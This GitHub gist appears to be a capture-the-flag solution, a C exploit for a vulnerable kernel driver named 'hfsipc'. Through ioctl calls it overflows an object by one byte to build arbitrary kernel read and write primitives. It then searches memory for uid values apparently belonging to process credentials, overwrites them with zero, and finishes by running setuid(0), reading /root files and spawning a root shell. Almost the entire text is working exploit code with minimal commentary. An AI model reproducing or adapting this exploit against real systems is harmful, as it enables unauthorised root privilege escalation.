Created
April 6, 2019 16:55
-
-
Save junorouse/2e2be1727a8078e5f043ffc2e03f5528 to your computer and use it in GitHub Desktop.
midnight-hfsipc
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#include <stdio.h> | |
#include <fcntl.h> | |
#include <unistd.h> | |
#include <stdint.h> | |
#define HFS_CREATE 0xABCD0001 | |
#define HFS_DESTROY 0xABCD0002 | |
#define HFS_READ 0xABCD0003 | |
#define HFS_WRITE 0xABCD0004 | |
// from gist | |
void dumpHex(const void* data, size_t size) { | |
char ascii[17]; | |
size_t i, j; | |
ascii[16] = '\0'; | |
for (i = 0; i < size; ++i) { | |
printf("%02X ", ((unsigned char*)data)[i]); | |
if (((unsigned char*)data)[i] >= ' ' && ((unsigned char*)data)[i] <= '~') { | |
ascii[i % 16] = ((unsigned char*)data)[i]; | |
} else { | |
ascii[i % 16] = '.'; | |
} | |
if ((i+1) % 8 == 0 || i+1 == size) { | |
printf(" "); | |
if ((i+1) % 16 == 0) { | |
printf("| %s \n", ascii); | |
} else if (i+1 == size) { | |
ascii[(i+1) % 16] = '\0'; | |
if ((i+1) % 16 <= 8) { | |
printf(" "); | |
} | |
for (j = (i+1) % 16; j < 16; ++j) { | |
printf(" "); | |
} | |
printf("| %s \n", ascii); | |
} | |
} | |
} | |
} | |
struct HFS_CREATE_DATA { | |
uint64_t HFS_ID; | |
uint64_t HFS_SIZE; | |
}; | |
struct HFS_DESTROY_DATA { | |
uint64_t HFS_ID; | |
}; | |
struct HFS_READ_DATA { | |
uint64_t HFS_ID; | |
uint64_t HFS_SIZE; | |
char** USER_BUF; | |
}; | |
struct HFS_WRITE_DATA { | |
uint64_t HFS_ID; | |
uint64_t HFS_SIZE; | |
char* USER_BUF; | |
}; | |
int fd; | |
long long int ret; | |
unsigned char buf[0x1000]; | |
unsigned char i_buf[0x1000]; | |
unsigned char w_buf[0x1000]; | |
struct HFS_CREATE_DATA hcd; | |
struct HFS_DESTROY_DATA hdd; | |
struct HFS_READ_DATA hrd; | |
struct HFS_WRITE_DATA hwd; | |
void aWrite(uint64_t ptr, uint64_t size) { | |
memset(buf, 0, 0x1000); | |
hwd.HFS_ID = 0x70; | |
hwd.HFS_SIZE = 0x50; | |
hwd.USER_BUF = buf; | |
memcpy(buf, "\xff\xff\xff\xff\x00\x00\x00\x00", 0x8); // size | |
memcpy(buf+0x30, "\x61\x00\x00\x00\x00\x00\x00\x00", 0x08); // next obj header (id) | |
memcpy(buf+0x30+0x8, &ptr, 0x08); // next obj ptr | |
memcpy(buf+0x30+0x10, "\xff\xff\xff\xff\x00\x00\x00\x00", 0x08); // next obj size | |
ret = ioctl(fd, HFS_WRITE, &hwd); | |
printf("write ret: %llx\n", ret); | |
memset(w_buf, 0, 0x1000); | |
hwd.HFS_ID = 0x61; | |
hwd.HFS_SIZE = size; | |
hwd.USER_BUF = w_buf; | |
ret = ioctl(fd, HFS_WRITE, &hwd); | |
printf("overwrite ret: %llx\n", ret); | |
} | |
void aRead(uint64_t ptr, uint64_t size) { | |
memset(buf, 0, 0x1000); | |
hwd.HFS_ID = 0x70; | |
hwd.HFS_SIZE = 0x50; | |
hwd.USER_BUF = buf; | |
memcpy(buf, "\xff\xff\xff\xff\x00\x00\x00\x00", 0x8); // size | |
memcpy(buf+0x30, "\x61\x00\x00\x00\x00\x00\x00\x00", 0x08); // next obj header (id) | |
memcpy(buf+0x30+0x8, &ptr, 0x08); // next obj ptr | |
memcpy(buf+0x30+0x10, "\xff\xff\xff\xff\x00\x00\x00\x00", 0x08); // next obj size | |
ioctl(fd, HFS_WRITE, &hwd); | |
memset(i_buf, 0, 0x1000); | |
hrd.HFS_ID = 0x61; | |
hrd.HFS_SIZE = size; | |
hrd.USER_BUF = i_buf; | |
ioctl(fd, HFS_READ, &hrd); | |
} | |
int main(int argc, char **argv) { | |
fd = open(argv[1], O_RDWR); | |
if (fd < 0) { | |
printf("failed to open ioctl\n"); | |
exit(-1); | |
return -1; | |
} | |
hcd.HFS_ID = 0x4140; | |
hcd.HFS_SIZE = 0x20; | |
ret = ioctl(fd, HFS_CREATE, &hcd); | |
printf("ret: %llx\n", ret); // pad for offset | |
hcd.HFS_ID = 0x4142; | |
hcd.HFS_SIZE = 0x20; | |
ret = ioctl(fd, HFS_CREATE, &hcd); | |
printf("ret: %llx\n", ret); | |
hcd.HFS_ID = 0x00; | |
hcd.HFS_SIZE = 0x20; | |
ret = ioctl(fd, HFS_CREATE, &hcd); | |
printf("x ret: %llx\n", ret); | |
hcd.HFS_ID = 0x60; // vuln object | |
hcd.HFS_SIZE = 0x20; | |
ret = ioctl(fd, HFS_CREATE, &hcd); | |
printf("ret: %llx\n", ret); | |
hwd.HFS_ID = 0x60; | |
hwd.HFS_SIZE = 0x21; | |
hwd.USER_BUF = buf; | |
memcpy(buf, "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x28", 0x21); // need to fit the offset. | |
ret = ioctl(fd, HFS_WRITE, &hwd); | |
printf("write ret: %llx\n", ret); | |
hcd.HFS_ID = 0x61; // vuln object | |
hcd.HFS_SIZE = 0x20; | |
ret = ioctl(fd, HFS_CREATE, &hcd); | |
printf("ret: %llx\n", ret); | |
hcd.HFS_ID = 0x62; // vuln object | |
hcd.HFS_SIZE = 0x20; | |
ret = ioctl(fd, HFS_CREATE, &hcd); | |
printf("ret: %llx\n", ret); | |
hwd.HFS_ID = 0x61; | |
hwd.HFS_SIZE = 0x21; | |
hwd.USER_BUF = buf; | |
printf("[+] Overwriting Offset ..\n"); | |
memcpy(buf+0x10+0x8, "\x70\x00\x00\x00\x00\x00\x00\x00", 0x8); // overwrite id | |
memcpy(buf+0x10+0x10, "\x50", 0x1); // overwrite offset | |
ret = ioctl(fd, HFS_WRITE, &hwd); | |
printf("write ret: %llx\n", ret); | |
// overwrite size | |
hwd.HFS_ID = 0x70; | |
hwd.HFS_SIZE = 0x8; | |
hwd.USER_BUF = buf; | |
printf("[+] Overwriting Size ..\n"); | |
memcpy(buf, "\xff\xff\xff\xff\x00\x00\x00\x00", 0x8); // overwrite size | |
ret = ioctl(fd, HFS_WRITE, &hwd); | |
printf("write ret: %llx\n", ret); | |
for (uint64_t i=0xffff880005000000; i<=0xffff880006fff000; i+=0x1000) { | |
aRead(i, 0x1000); | |
for (int j=0; j< 0x1000; j+= 4) { | |
if (i_buf[j] == 0xe8 && i_buf[j+1] == 0x03 && i_buf[j+2] == 0x00&& i_buf[j+3] == 0x00) { | |
printf("found!: %llx\n", i+j); | |
memset(w_buf, 0, 4); | |
aWrite(i+j, 4); | |
} | |
} | |
// printf("[%llx]\n", i); | |
// dumpHex(i_buf, 0x1000); | |
} | |
aRead(0xffffffffa0000000, 0x100); | |
dumpHex(i_buf, 0x100); | |
setuid(0); | |
system("ls -al /root"); | |
system("cat /root/*"); | |
system("/bin/sh"); | |
return 0; | |
} |
Author
junorouse
commented
Apr 6, 2019
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment